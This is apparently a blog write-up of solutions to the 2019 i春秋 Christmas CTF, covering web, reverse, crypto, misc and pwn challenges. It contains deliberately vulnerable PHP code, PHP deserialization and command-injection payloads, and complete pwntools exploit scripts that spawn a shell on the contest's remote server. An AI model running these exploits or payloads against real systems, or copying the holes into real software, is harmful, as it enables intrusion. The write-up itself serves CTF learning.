美文网首页
2019 i春秋 欢乐圣诞赛 做题笔记

2019 i春秋 欢乐圣诞赛 做题笔记

作者: Ginkgo_Alkaid | 来源:发表于2019-12-29 03:04 被阅读0次

    web

    0x01 nani

    查看源代码,猜测可能有文件包含漏洞,访问show.php得知有user.php,于是利用

    php://filter/read=convert.base64-encode/resource
    

    分别读下index、show的源码:


    图片.png

    index.php源码如下所示:

    <html>
        <title>Where</title>
        
    <?php
        error_reporting(0);
        if(!$_GET[file]){echo '<a href="./index.php?file=show.php"></a>';}
        $file=$_GET['file'];
        if(strstr($file,"../")||stristr($file,"tp")||stristr($file,"input")||stristr($file,"data")){
            echo "NANI?";
            exit();
        }
        include($file);
    ?>
    </html>
    

    show.php源码如下所示:

    <?php
        echo "user.php";
    

    user.php源码如下所示:

    <?php
    class convent{
        var $warn = "No hacker.";
        function __destruct(){
            eval($this->warn);
        }
        function __wakeup(){
            foreach(get_object_vars($this) as $k => $v) {
                $this->$k = null;
            }
        }
    }
    $cmd = $_POST[cmd];
    unserialize($cmd);
    ?>
    

    那就直接构造payload

    cmd=O:7:"convent":3:{s:4:"warn";s:10:"phpinfo();";}
    
    图片.png

    读下目录,看到一个txt文件直接访问就是flag了


    图片.png

    0x02 random

    给了源码,mt_rand爆破

     <?php
        show_source(__FILE__);
        include "flag.php";
        $a = @$_REQUEST['hello'];
        $seed = @$_REQUEST['seed'];
        $key = @$_REQUEST['key'];
        
        mt_srand($seed);
        $true_key = mt_rand();
        if ($key == $true_key){
            echo "Key Confirm";
        }
        else{
            die("Key Error");
        }
        eval( "var_dump($a);");
    ?>  Key Error
    

    用php_mt_seed,整一组key和seed,然后构造payload


    图片.png

    0x03 admin

    查看源代码,应该是原题了,稍作改动,考察的又是php封装协议。


    图片.png

    使用

    user=php://input
    

    绕过file_get_contents。


    图片.png

    接下来就是读class.php,还是老方法读下index.php和class.php。


    图片.png
    index.php源码如下所示:
    <?php
    error_reporting(E_ALL & ~E_NOTICE);
    $user = $_GET["user"];
    $file = $_GET["file"];
    $pass = $_GET["pass"];
     
    if(isset($user)&&(file_get_contents($user,'r')==="admin")){
        echo "hello admin!<br>";
        if(preg_match("/fffffflag/",$file)){
            exit();
        }else{
            include($file); //class.php
            $pass = unserialize($pass);
            echo $pass;
        }
    }else{
        echo "you are not admin ! ";
        echo "<br/>";
        echo "hava a rest and then change your choose.";
    }
     
    ?>
     
    <!--
    $user = $_GET["user"];
    $file = $_GET["file"];
    $pass = $_GET["pass"];
     
    if(isset($user)&&(file_get_contents($user,'r')==="admin")){
        echo "hello admin!<br>";
        include($file); //class.php
    }else{
        echo "you are not admin ! ";
    }
     -->
    

    class.php源码如下所示:

    <?php
    error_reporting(E_ALL & ~E_NOTICE);
     
    class Read{//fffffflag.php
        public $file;
        public function __toString(){
            if(isset($this->file)){
                echo file_get_contents($this->file);    
            }
            return "Awwwwwwwwwww man";
        }
    }
    ?>
    

    利用反序列化来读取flag文件,构造payload


    图片.png

    0x04 post1

    查看源代码:

    图片.png
    tac不行,试了tail,more也不行,cut可以,用9代替空格试出来了。
    图片.png
    也可以读index.php源码
    图片.png

    0x05 ping

    查看源代码:


    图片.png

    绕过strcmp,又是文件包含,读下index.php和ping.php


    图片.png
    图片.png
    index.php源码如下所示:
    <?php
        echo "There is a ping.php";
        $password="ACmvXfSFUayohrLB";
        if(isset($_POST['password'])){
            if (strcmp($_POST['password'],$password) == 0) {
                echo "Right!!!login success";
                include($_REQUEST['path']);
                exit();
            }
            else{
                echo "Wrong password..";
            }
        }
    ?>
    
    <!--
        $password="****************";
         if(isset($_POST['password'])){
            if (strcmp($_POST['password'], $password) == 0) {
                echo "Right!!!login success";
                include($_REQUEST['path']);
                exit();
            } else {
                echo "Wrong password..";
            }
    -->
    

    ping.php源码如下所示:

    <?php
    if(isset($_REQUEST[ 'ip' ])) {
        $target = trim($_REQUEST[ 'ip' ]);
        $substitutions = array(
            '&'  => '',
            ';'  => '',
            '|' => '',
            '-'  => '',
            '$'  => '',
            '('  => '',
            ')'  => '',
            '`'  => '',
            '||' => '',
        );
        $target = str_replace( array_keys( $substitutions ), $substitutions, $target );
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
            echo $target;
        echo  "<pre>{$cmd}</pre>";
    }
    

    基本的命令分隔符被过滤了,尝试用命令分隔符%0a,发现可行。


    图片.png

    0x06 post2

    看下源代码:


    图片.png

    绕了半天也绕不过去,后来非预期了,flag的名字和post1读index.php的一样,直接访问可得,等官方wp公布,再学习下正规解法。


    图片.png

    Reverse

    0x01 basebasebase

    程序没法直接运行,IDA处理下


    图片.png

    因为栈不平衡导致没法看伪代码,处理下


    图片.png
    大概关键比较的逻辑如下:
    图片.png

    随便找了个base64的脚本,把表换下

    #coding:utf-8
    import re
    import struct
    import binascii
    
    base64list ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz)!@#$%^&amp;*(+/='
    
    def base64decode(cipherlist):
        length=len(cipherlist)
        group=length/4
        s=''
        string=''   
    
        for i in range(group-1):
            j=i*4
            s=cipherlist[j:j+4]
            string+=chr(((base64list.index(s[0]))<<2)+((base64list.index(s[1]))>>4))
            string+=chr(((base64list.index(s[1]) & 0x0f)<<4)+((base64list.index(s[2]))>>2))
            string+=chr(((base64list.index(s[2]) & 0x03)<<6)+((base64list.index(s[3]))))
        j=(group-1)*4
        s=cipherlist[j:j+4]
        string+=chr(((base64list.index(s[0]))<<2)+((base64list.index(s[1]))>>4))
        if s[2]=='*':
            return string
        else:
            string+=chr(((base64list.index(s[1]) & 0x0f)<<4)+((base64list.index(s[2]))>>2))
        if s[3]=='*':
            return string
        else:
            string+=chr(((base64list.index(s[2]) & 0x03)<<6)+((base64list.index(s[3]))))
            return string
    
    def base64encode(input_str):
        # 对每一个字节取ascii数值或unicode数值,然后转换为2进制
        str_ascii_list = ['{:0>8}'.format(str(bin(ord(i))).replace('0b', ''))
                          for i in input_str]
        output_str = ''
        # 不够3的整数倍 补齐所需要的次数
        equal_num = 0
        while str_ascii_list:
            temp_list = str_ascii_list[:3]
            if len(temp_list) != 3:
                while len(temp_list) < 3:
                    equal_num += 1
                    temp_list += ['0'*8]
            temp_str = ''.join(temp_list)
            # 三个8字节的二进制 转换为4个6字节的二进制
            temp_str_list = [temp_str[x:x+6] for x in [0, 6, 12, 18]]
            # 二进制转为10进制
            temp_str_list = [int(x, 2) for x in temp_str_list]
            # 判断是否为补齐的字符 做相应的处理
            if equal_num:
                temp_str_list = temp_str_list[0:4-equal_num]
            output_str += ''.join([base64list[x] for x in temp_str_list])
            str_ascii_list = str_ascii_list[3:]
        output_str = output_str + '*' * equal_num
        #print(output_str)
        return output_str
    
    b=[0x59,0x6E,0x7B,0x6B,0x59,0x20,0x77,0x6A,0x5A,0x5B,0x4D,0x6F,0x5B,0x43,0x5A,0x2A,0x5A,0x43,0x77,0x65,0x56,0x6E,0x55,0x43,0x59,0x5B,0x49,0x79,0x59,0x5B,0x2A,0x29,0x3]
    
    c=''
    for i in b:
        c+=chr(i^3)
    print c
    
    flag=base64decode("ZmxhZ#tiYXNlX@Y)Y@tfUmV@ZXJzZX)*")
    print flag
    

    0x02 apk123

    jeb打开,函数写的很明白,用了RC4加密,密钥和密文清晰可见


    图片.png

    直接把密文解16进制转成字符串,再转成base64,找个在线网址解了:


    图片.png

    0x03 babyre

    众所周知,名字叫baby的都不baby,程序直接运行挂了。IDA打开,发现程序用了多线程和花指令干扰IDA反汇编

    • 第一个线程用来检测调试
    • 第二个线程用来获取输入
    • 第三个线程用来做判断,关键加密函数是sub_401000

    由于花指令没被反汇编的关键代码,可以进行强制分析:


    图片.png

    sub_401000两个参数,一个是输入,另一个是输入的长度,算法如下所示:


    图片.png

    写脚本:

    a = [0x17, 0x83, 0xE7, 0x45, 0x85, 0x66, 0xE6, 0xF5, 0x97, 0x56, 0x23, 0x07, 0x05, 0xE2, 0x02, 0x02]
    
    flag=""
    
    for i in range(0, len(a), 2):
        b = a[i] ^ 16
        c = a[i+1] ^ 16
        l2 = (b & 0xf0) >> 4
        h1 = b & 0xf
        l1 = (c & 0xf0) >> 4
        h2 = c & 0xf
        x1 = (h1 << 4) + l1
        x2 = (h2 << 4) + l2
        flag+=chr(x1)+chr(x2)
    
    print flag
    

    Crypto

    0x01 rsa

    已知dp,n,e,c求m

    import gmpy2
    
    e = 65537
    n = 444511907374811621333864968430251419855347882081695888904531795366857517417289716213363408137550866409163408633679685635315881237914815762134949770798439327373469286675370381115822381092997433491238495970527484356127131132345893007368069814286822931047915482947544230741924674880304607902413527794657556174021361113759962742306966643629644800759209829893438222447478882663573891473386520138017997195362559918730232709719486847337248425121547893862458228964360472119045154255446606447184782930767120924229261090464514045697735201016333117579385787597262783543886217220299959364476125167328883418109849139384318692440116746717156025869399990008034002881758452936213924306428955442475834311604905905260723607788504332389824348292286402781474054375184928462870240017012586229806658850881803134678565293180207556731290044948846308165695896369703720482941116135445836684836990286418102640883844706122407701782360072256987197118468391662366105964629786899281484884877640733549203394680006068637251717623691598753570260479050407069262236583726905151495550801274277155039839844872050380772537409714164680083539118124646217833871816488578092001365486400242215564766336041803413006183310354910820598373905617564797817421231716827155927723376783
    dp = 20688083194401098183398626094352469308150523583583104270723199988926694776131531953207031668652408481119466919329893607763657623952024909876740067584191851505244658377465365020503008072292716279306615911408934182303357474341329766407852983275790499225322862499664901633190925232802162977135254216707834894816730529759991634343322039528413883937752397011466779521590767711786777317159161700645318091278528395252576086979838790917201179739657819356771788743301669430631157222234922010934163688512789947321007479617996170289230676037655762865962020063056831019134814970048718940037920888121806608032574204482673114726401
    c = 378245912689862819668716257795108255336928883693984263805908702337591160408234974716356292413190786704878880742998101926728409825216339197208512929079484687018187263522243781958701468849915372674337274640196043362477406890622345686503512151501592397926764442945655423801602100185867239106836704835215686246083812117439685990637352246191517010645343417283169123105697782747026231044064639955374854873089604766677942725374108213749982052985866259433900255218180285975477045323647923881322428349632056484406017564586481848442834247385904402824072352354677823823078646874632195128328299942128116508251564811923564362991466660005438580449558184197006623490303413636461137434703925564785299335803341222051570131842042120923719184091689629809380828306649702440460761848154682611972768099340896995546188526274235118488618951865589050087434162728116205149188555273127955536588551565951618535230908129965250151258048934985977493740897420718340268536363763127676899114219828753570040978640121185354431884041597851910784347040946251752577201426797684912671641470307249794269755972278013107831885544781029384256069586713714201822683071958299038410102821213570933652719191413490563464823296852894960994148922867149263897530215474500564443133161527
    
    for i in range(1,65538):
        if (dp*e-1)%i == 0:
            if n%(((dp*e-1)//i)+1)==0:
                p=((dp*e-1)//i)+1
                q=n//(((dp*e-1)//i)+1)
                phi = (p-1)*(q-1)
                d = gmpy2.invert(e,phi)%phi
                m = gmpy2.powmod(c,d,n)
                print ('m:',m)
    
    m=38321129010640641075790959601976828944793938172125565
    print hex(m)[2:-1].decode('hex')
    

    Misc

    0x01 XImg

    png的lsb隐写


    图片.png

    0x02 pypi

    看题目应该和python的pip有关了


    图片.png

    压缩包里,图片没被加密,txt被加密了,看了下png的lsb有东西,但是第一时间不知道这是什么编码方式,后来挨个试发现是base85


    图片.png
    解完base85,是一段base64,发现是jwt
    图片.png

    查看下jwt的内容,发现要爆破签名,压缩包的密码是签名的md5


    图片.png
    用c-jwt-cracker爆破签名,然后用md5解密压缩包
    图片.png
    接出来是gameforflag,根据题目在pypi搜到包,下载下来里面有个flag.py
    图片.png
    在里面还看到了札师傅的联系方式,一看刚才爆破出的Zac1,恍然大悟,tql

    Pwn

    0x01 heap

    from PwnContext import *
    from pwn import *
    from LibcSearcher import *
    #context.terminal = ['tmux', 'splitw', '-h'] # uncomment this if you use tmux
    context.log_level = 'debug'
    # functions for quick script
    s       = lambda data               :ctx.send(str(data))        #in case that data is an int
    sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
    sl      = lambda data               :ctx.sendline(str(data)) 
    sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) 
    r       = lambda numb=4096          :ctx.recv(numb)
    ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
    irt     = lambda                    :ctx.interactive()
    rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
    dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
    # misc functions
    uu32    = lambda data   :u32(data.ljust(4, '\x00'))
    uu64    = lambda data   :u64(data.ljust(8, '\x00'))
    leak    = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
    
    ctx.binary = 'heap'
    ctx.remote_libc = 'libc.so.6'
    ctx.remote = ('120.55.43.255',12240)
    ctx.debug_remote_libc = False # True for debugging remote libc, false for local.
    
    #p=rs()
    p=rs('remote') # uncomment this for exploiting remote target
    
    libc = ctx.libc # ELF object of the corresponding libc.
    
    # ipy() # if you have ipython, you can use this to check variables.
    
    def debug():
        libc_base = ctx.bases.libc
        print hex(libc_base)
        ctx.symbols = {'sym1':0xEDA , 'sym2':0x10AF}
        ctx.breakpoints = [0xEDA,0x10AF]
        ctx.debug()
    
    def create(size,data):
        sla("Choice :",1)
        sla("size: ",str(size))
        sa("data: ",data)
    def show():
        sla("Choice :",3)
    
    def edit(index,content):
        sla("Your Choice: ",3)
        sla("id: ",index)
        sa("content: ",content)
    def free(index):
        sla("Choice :",2)
        sla("Which heap do you want to delete: ",str(index))
    create(0x80,'a')#0
    create(0x68,'a')#1
    create(0x68,'b')#2
    create(0x10,'b')#3
    free(0)
    create(0x80,'\x78')#0
    show()
    ru("0 : ")
    main_addr=uu64(p.recv(6))
    libc_base=main_addr-(0x00007f5f1c534b78-0x7f5f1c170000)
    leak("libc_base",libc_base)
    pause()
    free(0)
    create(0x88,'a'*0x88+'\xe1')#0
    free(1)
    create(0x68,'a')#1
    free(2)
    create(0x68,p64(0)+p64(libc_base+libc.symbols['__free_hook']-0x40-0x10))#2
    create(0x68,'a')#4
    free(4)
    free(1)
    free(2)
    create(0x68,p64(libc_base+libc.symbols['__free_hook']-0x43))#1
    create(0x68,'a')#2
    create(0x68,'/bin/sh\x00')#4
    system_addr=libc_base+libc.symbols['system']
    #debug()
    create(0x68,0x33*'\x00'+p64(system_addr)+'\n')#5
    free(4)
    #debug()
    
    irt()
    

    0x02 Internal_Chat_System

    from pwn import *
    from LibcSearcher import LibcSearcher
    context.log_level = 'debug'
    context.arch = 'amd64'
    elf = ELF('inter')
    
    def pwn(ip,port,debug):
        global sh
        global lib
        if(debug == 1):
            p = process('./inter')
    
        else:
            p = remote(ip,port)
        def add(size,name,age,description):
            p.sendlineafter('choice:','2')
            p.sendlineafter('name size:',str(size))
            p.sendlineafter('your name:',name)
            p.sendlineafter('age:',str(age))
            p.sendlineafter('description:',description)
        def login(name):
            p.sendlineafter('choice:','1')
            p.sendlineafter('name:',name)
        def sendfriend(name,title,content):
            p.sendlineafter('choice:','4')
            p.sendlineafter('send a msg to:',name)
            p.sendlineafter('message title:',title)
            p.sendlineafter('Input your content:',content)
        def add_delete(name,aorb):
            p.sendlineafter('choice:','3')
            p.sendlineafter("friend's name:",name)
            p.sendlineafter('friend?(a/d)',aorb)
        def view_fi():
            p.sendlineafter('choice:','1')
        def updete(name,age,description):
            p.sendlineafter('choice:','2')
            p.sendlineafter('your name:',name)
            p.sendlineafter('age:',str(age))
            p.sendlineafter('description:',description)
        def logout():
            p.sendlineafter('choice:','6')
        add(0x68,'weeeee',30,'a'*0xf8+'ABCDEEEE')
        payload='\x00'*0xb8+p64(0x131)
        add(0x68,'weei',30,payload)
        payload='\x00'*0xb8+p64(0x131)
        add(0x68,'/bin/sh\x00',30,payload)
        login('weeeee')
        add_delete('weeeee','a')
        add_delete('weeeee','d')
        view_fi()
        p.recvuntil('Age:')
        _libc_start_addr=int(p.recv(12),16)-(0x7fe5cdf8cb78-0x7fe5cdbe8740)
        print "_libc_start_addr=>",hex(_libc_start_addr)
        p.recvuntil('ABCDEEEE') 
        heap_addr=u64(p.recv(4).ljust(8,'\x00'))-(0x0000000002401680-0x23ff000)
        print "heap_addr=>",hex(heap_addr)
        libc=LibcSearcher('__libc_start_main',_libc_start_addr)
        libcbase_addr=_libc_start_addr-libc.dump('__libc_start_main')
        system_addr=libcbase_addr+libc.dump('system')
        atoi_addr=libcbase_addr+libc.dump('atoi')
        updete('aa',heap_addr+0x200,'xxx')
        logout()
        login('weei')
        payload='\x00'*0xb8+p64(0x131)+p64(heap_addr)+p64(_libc_start_addr+(0x7fe5cdf8cb78-0x7fe5cdbe8740))
        updete('weei',30,payload)
        logout()
        add(0x68,p64(0x603068),30,'a')
        payload='hhh\x00\x00\x00\x00\x00'+p64(0)*10+p64(0x131)+p64(0x603068)
        add(0x128,payload,30,'f')
        login(p64(atoi_addr))
        updete(p64(system_addr),30,'111')
        p.sendlineafter('choice:','/bin/sh\x00')
        #gdb.attach(p)      
    
        p.interactive()
    if __name__ == '__main__':
        pwn('120.55.43.255',19812,1)
    
    

    0x03 Self-service Refueling System

    from PwnContext import *
    from pwn import *
    from LibcSearcher import *
    #context.terminal = ['tmux', 'splitw', '-h'] # uncomment this if you use tmux
    context.log_level = 'debug'
    # functions for quick script
    s       = lambda data               :ctx.send(str(data))        #in case that data is an int
    sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data)) 
    sl      = lambda data               :ctx.sendline(str(data)) 
    sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data)) 
    r       = lambda numb=4096          :ctx.recv(numb)
    ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
    irt     = lambda                    :ctx.interactive()
    rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
    dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
    # misc functions
    uu32    = lambda data   :u32(data.ljust(4, '\x00'))
    uu64    = lambda data   :u64(data.ljust(8, '\x00'))
    leak    = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
    
    ctx.binary = 'aaa'
    #ctx.remote_libc = 'libc.so'
    ctx.remote = ('120.55.43.255',23810)
    ctx.debug_remote_libc = False # True for debugging remote libc, false for local.
    
    #p=rs()
    p=rs('remote') # uncomment this for exploiting remote target
    
    libc = ctx.libc # ELF object of the corresponding libc.
    
    # ipy() # if you have ipython, you can use this to check variables.
    
    def debug():
        libc_base = ctx.bases.libc
        print hex(libc_base)
        ctx.symbols = {'sym1':0xEDA , 'sym2':0x10AF}
        ctx.breakpoints = [0xEDA,0x10AF]
        ctx.debug()
    
    def create(size):
        sla("Your Choice: ",1)
        sla("size: ",size)
    def show(index):
        sla("Your Choice: ",2)
        sla("id: ",index)
    def edit(index,content):
        sla("Your Choice: ",3)
        sla("id: ",index)
        sa("content: ",content)
    def free(index):
        sla("Your Choice: ",4)
        sla("id: ",index)
    sla("(y/n)\n",'y')
    payload='a'*0x18+p32(0x6666)+p32(0x2333)+p64(0)+p64(0x0000000000400fb3)+p64(0x602018)+p64(0x0000400750 )+p64(0x00400EAA)
    sla("ID :\n",payload)
    sla("want?(L)\n",'1')
    
    ru("Finish! your car is full of gas")
    ru("\x5b\x30\x6d")
    puts_addr=uu64(p.recv(6))
    leak("puts_addr",puts_addr)
    pause()
    libc=LibcSearcher("puts",puts_addr)
    libc_base=puts_addr-libc.dump("puts")
    system_addr=libc_base+libc.dump("system")
    bin_sh_addr=libc_base+libc.dump("str_bin_sh")
    sla("(y/n)\n",'y')
    payload='a'*0x18+p32(0x6666)+p32(0x2333)+p64(0)+p64(0x0000000000400fb3)+p64(bin_sh_addr)+p64(system_addr)
    sla("ID :\n",payload)
    sla("want?(L)\n",'1')
    irt()
    

    相关文章

      网友评论

          本文标题:2019 i春秋 欢乐圣诞赛 做题笔记

          本文链接:https://www.haomeiwen.com/subject/xlyeoctx.html